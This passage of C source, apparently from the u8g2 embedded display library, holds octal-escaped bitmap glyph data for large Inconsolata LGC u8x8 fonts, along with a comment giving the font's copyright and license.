\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\30\\370\\370\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\17\\16\\36\\34\\34\\70\\270\\360\\377\\377\"\n  \"\\367\\270\\70\\30\\34\\34\\16\\16\\17\\10\\0\\0\\0\\0\\0`p\\370~\\37\\17\\3\\1\\0\\3\\7\\37>\\374x`\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\370\\370\\370\\370\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0ppppppppp\\377\\377\\377\\377pppppppp\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0<~\\376\\376\\374p\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0 x<\\37\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\360\\360\\340 \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370\\376\\177\\17\\3\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\376\\177\\37\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\300\\360\\374\\377\\77\\17\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0`\\370\\376\\77\\17\\3\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\370\"\n  \"\\374\\376\\37\\17\\7\\3\\1\\1\\1\\3\\3\\207\\377\\376\\374\\360\\300\\0\\0\\0\\0\\376\\377\\377\\377\\0\\0\\0\\0\\300\\340\\360\"\n  \"x\\36\\17\\7\\1\\1\\377\\377\\377\\374\\0\\0\\0\\7\\177\\377\\377\\370\\374\\36\\17\\7\\1\\0\\0\\0\\0\\0\\200\\360\\377\\377\"\n  \"\\77\\3\\0\\0\\0\\0\\0\\1\\3\\7\\17\\37\\36<\\70\\70\\70<\\34\\37\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\"\n  \"\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\16\\16\\17\\7\\7\\7\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\"\n  \"\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\"\n  \"\\37\\17\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\37\\377\\376\\374\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\300\\340\\360\\374\\77\\37\\17\\1\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340\\360\\370<\\36\\17\\7\\3\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\70>\\77\\77;\\71\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70\\70<\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\2\\7\\7\\3\\3\\1\\1\\1\\1\\1\\3\\7\\17\\377\\376\\374p\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\70\\70\\70x||\\376\\357\\347\\307\\201\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\201\\377\\377\\377\\376\\0\\0\\0\\0\\0\\0\\4\\17\\37\\36\\34<\\70\\70\\70\\70\"\n  \"<<\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\200\\300\\360\\370>\\17\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360|>\\17\\7\\1\\0\"\n  \"\\0\\0\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\34\\37\\37\\37\\35\\34\\34\\34\\34\\34\\34\\34\\34\\377\\377\\377\\377\\34\\34\"\n  \"\\34\\34\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\77\\77\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\77\\177\\77\\77\\34\\16\\16\\16\\16\\16\\36\\36<\\374\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\177\\0\\0\\0\\0\\0\\3\\7\\17\\36\\36\\34<\\70\\70\\70\"\n  \"<<\\34\\36\\17\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\"\n  \"\\370\\374~\\37\\7\\3\\3\\1\\1\\1\\1\\3\\3\\7\\3\\3\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377p\\70\\34\\36\\16\\16\"\n  \"\\16\\16\\36>|\\370\\360\\340\\200\\0\\0\\0\\0\\0\\37\\377\\377\\377\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\"\n  \"\\177\\0\\0\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<\\70\\70\\70<<\\36\\37\\17\\7\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\300\\300\\300\\300\\300\"\n  \"\\300\\300\\300\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\301\\361\\377\\377\\77\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\300\\370\\376\\377\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60>\\77\\77\\17\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\"\n  \"\\374\\376\\377\\17\\3\\3\\1\\1\\1\\1\\3\\3\\17\\377\\377\\374x\\0\\0\\0\\0\\0\\0\\0\\3\\207\\317\\377\\376|\\70\\70\"\n  \"px\\374\\376\\317\\317\\207\\1\\0\\0\\0\\0\\0\\0\\370\\376\\377\\377\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\1\\207\\377\\377\"\n  \"\\376\\370\\0\\0\\0\\0\\0\\3\\7\\17\\37\\36<<\\70\\70\\70\\70<\\34\\36\\37\\17\\7\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\300\\300\"\n  \"\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\374\\376\\377\\17\\7\\3\\3\\1\\1\\1\\3\\3\\17\\37\\376\\374\\360\"\n  \"\\200\\0\\0\\0\\0\\0\\17\\77\\177\\377\\360\\340\\300\\300\\200\\200\\200\\300\\300\\340p\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\3\\3\\3\\3\\3\\3\\1\\0\\340\\377\\377\\177\\17\\0\\0\\0\\0\\0\\0\\14\\36\\36\\34<\\70\\70\\70\\70\"\n  \"<\\34\\36\\17\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\"\n  \"\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\36\\77\\77\\77\\77\\36\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--62-620-72-72-P-281-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\n#ifdef U8G2_USE_LARGE_FONTS\nconst uint8_t u8x8_font_inr46_4x8_f[57348] U8X8_FONT_SECTION(\"u8x8_font_inr46_4x8_f\") = \n  \" \\377\\4\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\374\\374\\374\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\77\\377\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\77\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\17\\17\\17\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\370\\370\\370\\360\\340\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\7\\7\\17\\7\\7\\3\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\370\\370\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\370\\370\\370\\360\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\37\\37\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\300\\0\\0\\0\\0\\0\\0\\0\\0\\300\\300\\300\\300\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\377\\377\\1\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\17\\0\"\n  \"\\0\\0\\0\\0\\0<<<<<<<<\\377\\377\\377\\377=<<<<<<<\\376\\377\\377\\377\\77<<\"\n  \"<<<<\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\\374\\377\\377\\377\\37\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\70\\70\\70\\70\\70\\70\\70\\376\\377\\377\\377\\77\\70\\70\\70\\70\\70\\70\\70\\374\\377\\377\\377\\37\\34\\34\\34\\34\"\n  \"\\34\\34\\34\\0\\0\\0\\0\\0\\0\\0\\376\\377\\377\\377\\7\\0\\0\\0\\0\\0\\0\\0\\370\\377\\377\\377\\37\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\6\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\\0\\0\\7\\7\\7\\7\\0\\0\\0\\0\\0\\0\"\n  